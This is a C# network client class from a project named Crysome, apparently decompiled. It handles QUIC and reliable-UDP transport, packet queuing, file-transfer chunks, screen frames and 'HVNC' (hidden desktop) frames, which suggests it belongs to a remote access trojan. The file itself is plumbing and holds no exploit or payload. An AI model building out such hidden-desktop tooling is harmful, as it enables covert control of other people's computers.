using System;
using System.Collections.Concurrent;
using System.IO;
using System.Net;
using System.Threading;
using Crysome.Common.Network.FileTransfer;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Transport;

namespace Crysome.Common.Network;

public class CrysomeClient
{
	private ITransportSession _transport;

	private RudpChannel _rudp;

	private CancellationTokenSource _readCts = new CancellationTokenSource();

	private readonly BlockingCollection<IPacket> _inQueue = new BlockingCollection<IPacket>(2048);

	private bool _serverSide;

	public bool IsConnected
	{
		get
		{
			if (_transport != null)
			{
				if (_transport.IsAlive)
				{
					return !_readCts.IsCancellationRequested;
				}
				return false;
			}
			if (_rudp != null && _rudp.IsAlive)
			{
				return !_readCts.IsCancellationRequested;
			}
			return false;
		}
	}

	public IPEndPoint RemoteAddress
	{
		get
		{
			object obj = _transport?.RemoteEndPoint;
			if (obj == null)
			{
				RudpChannel rudp = _rudp;
				if (rudp == null)
				{
					return null;
				}
				obj = rudp.Remote;
			}
			return (IPEndPoint)obj;
		}
	}

	public IPEndPoint LocalAddress => _transport?.LocalEndPoint;

	public int Port => LocalAddress?.Port ?? 0;

	public double RttMs => _transport?.RttMs ?? _rudp?.RttMs ?? 0.0;

	public double LossRate => _transport?.LossRate ?? _rudp?.LossRate ?? 0.0;

	public long BytesSent => _transport?.BytesSent ?? _rudp?.BytesSent ?? 0;

	public long BytesRecv => _transport?.BytesRecv ?? _rudp?.BytesRecv ?? 0;

	public uint UdpSessionToken { get; set; }

	public IPEndPoint UdpRemoteEndPoint { get; set; }

	public uint UdpLastFrameSeq { get; set; }

	public event EventHandler PacketReceived;

	public event EventHandler PacketSent;

	public CrysomeClient(ITransportSession transport, bool serverSide)
	{
		AttachTransport(transport, serverSide);
	}

	public CrysomeClient(RudpChannel channel)
	{
		AttachRudp(channel);
	}

	public CrysomeClient()
	{
	}

	public void Connect(IPAddress address, int port)
	{
		QuicTransportSession result = QuicTransportSession.ConnectClientAsync(new IPEndPoint(address, port), CancellationToken.None).AsTask().GetAwaiter()
			.GetResult();
		AttachTransport(result, serverSide: false);
	}

	private void AttachTransport(ITransportSession transport, bool serverSide)
	{
		_transport = transport;
		_serverSide = serverSide;
		_transport.ReliableReceived += OnReliableData;
		_transport.UnreliableFrameReceived += OnUnreliableControl;
		_transport.Disconnected += OnDisconnected;
	}

	private void AttachRudp(RudpChannel channel)
	{
		_rudp = channel;
		_rudp.ReliableReceived += OnReliableData;
		_rudp.UnreliableFrameReceived += OnUnreliableControl;
		_rudp.Disconnected += OnDisconnected;
	}

	public RudpChannel GetRudpChannel()
	{
		return _rudp;
	}

	public void SendPacket(IPacket packet)
	{
		byte[] array = PacketSerializer.Serialize(packet);
		if (_transport != null)
		{
			if (_serverSide && packet is FtChunkPacket)
			{
				_transport.SendReliableBulk(array);
			}
			else
			{
				_transport.SendReliable(array);
			}
		}
		else
		{
			_rudp.SendReliable(array);
		}
		this.PacketSent?.Invoke(this, EventArgs.Empty);
	}

	public void SendPacketUnreliable(IPacket packet)
	{
		byte[] array = PacketSerializer.Serialize(packet);
		if (_transport != null)
		{
			_transport.SendPacketUnreliable(array);
		}
		else
		{
			_rudp.SendUnreliable(0, array);
		}
		this.PacketSent?.Invoke(this, EventArgs.Empty);
	}

	public void SendDesktopScreenFrame(byte[] jpegData)
	{
		if (jpegData != null && jpegData.Length != 0)
		{
			if (_transport != null)
			{
				_transport.SendUnreliableScreen(36, jpegData);
			}
			else
			{
				_rudp.SendUnreliable(36, jpegData);
			}
			this.PacketSent?.Invoke(this, EventArgs.Empty);
		}
	}

	public void SendHvncFrame(byte[] jpegData)
	{
		if (jpegData != null && jpegData.Length != 0)
		{
			if (_transport != null)
			{
				_transport.SendUnreliableScreen(46, jpegData);
			}
			else
			{
				_rudp.SendUnreliable(46, jpegData);
			}
			this.PacketSent?.Invoke(this, EventArgs.Empty);
		}
	}

	public IPacket ReadPacket()
	{
		try
		{
			IPacket result = _inQueue.Take(_readCts.Token);
			this.PacketReceived?.Invoke(this, EventArgs.Empty);
			return result;
		}
		catch (OperationCanceledException)
		{
			throw new IOException("Connection closed");
		}
	}

	public void Disconnect()
	{
		_readCts.Cancel();
		try
		{
			_transport?.SendFin();
		}
		catch
		{
		}
		try
		{
			_transport?.Dispose();
		}
		catch
		{
		}
		try
		{
			_rudp?.SendFin();
		}
		catch
		{
		}
		try
		{
			_rudp?.Dispose();
		}
		catch
		{
		}
	}

	private void OnReliableData(byte[] payload)
	{
		try
		{
			IPacket packet = PacketSerializer.Deserialize(payload);
			if (packet != null && !_inQueue.IsAddingCompleted)
			{
				_inQueue.TryAdd(packet, 100);
			}
		}
		catch
		{
		}
	}

	private void OnUnreliableControl(byte typeId, byte[] data)
	{
		if (typeId != 0 || data == null)
		{
			return;
		}
		try
		{
			IPacket packet = PacketSerializer.Deserialize(data);
			if (packet != null && !_inQueue.IsAddingCompleted)
			{
				_inQueue.TryAdd(packet, 20);
			}
		}
		catch
		{
		}
	}

	private void OnDisconnected()
	{
		_readCts.Cancel();
		_inQueue.CompleteAdding();
	}
}
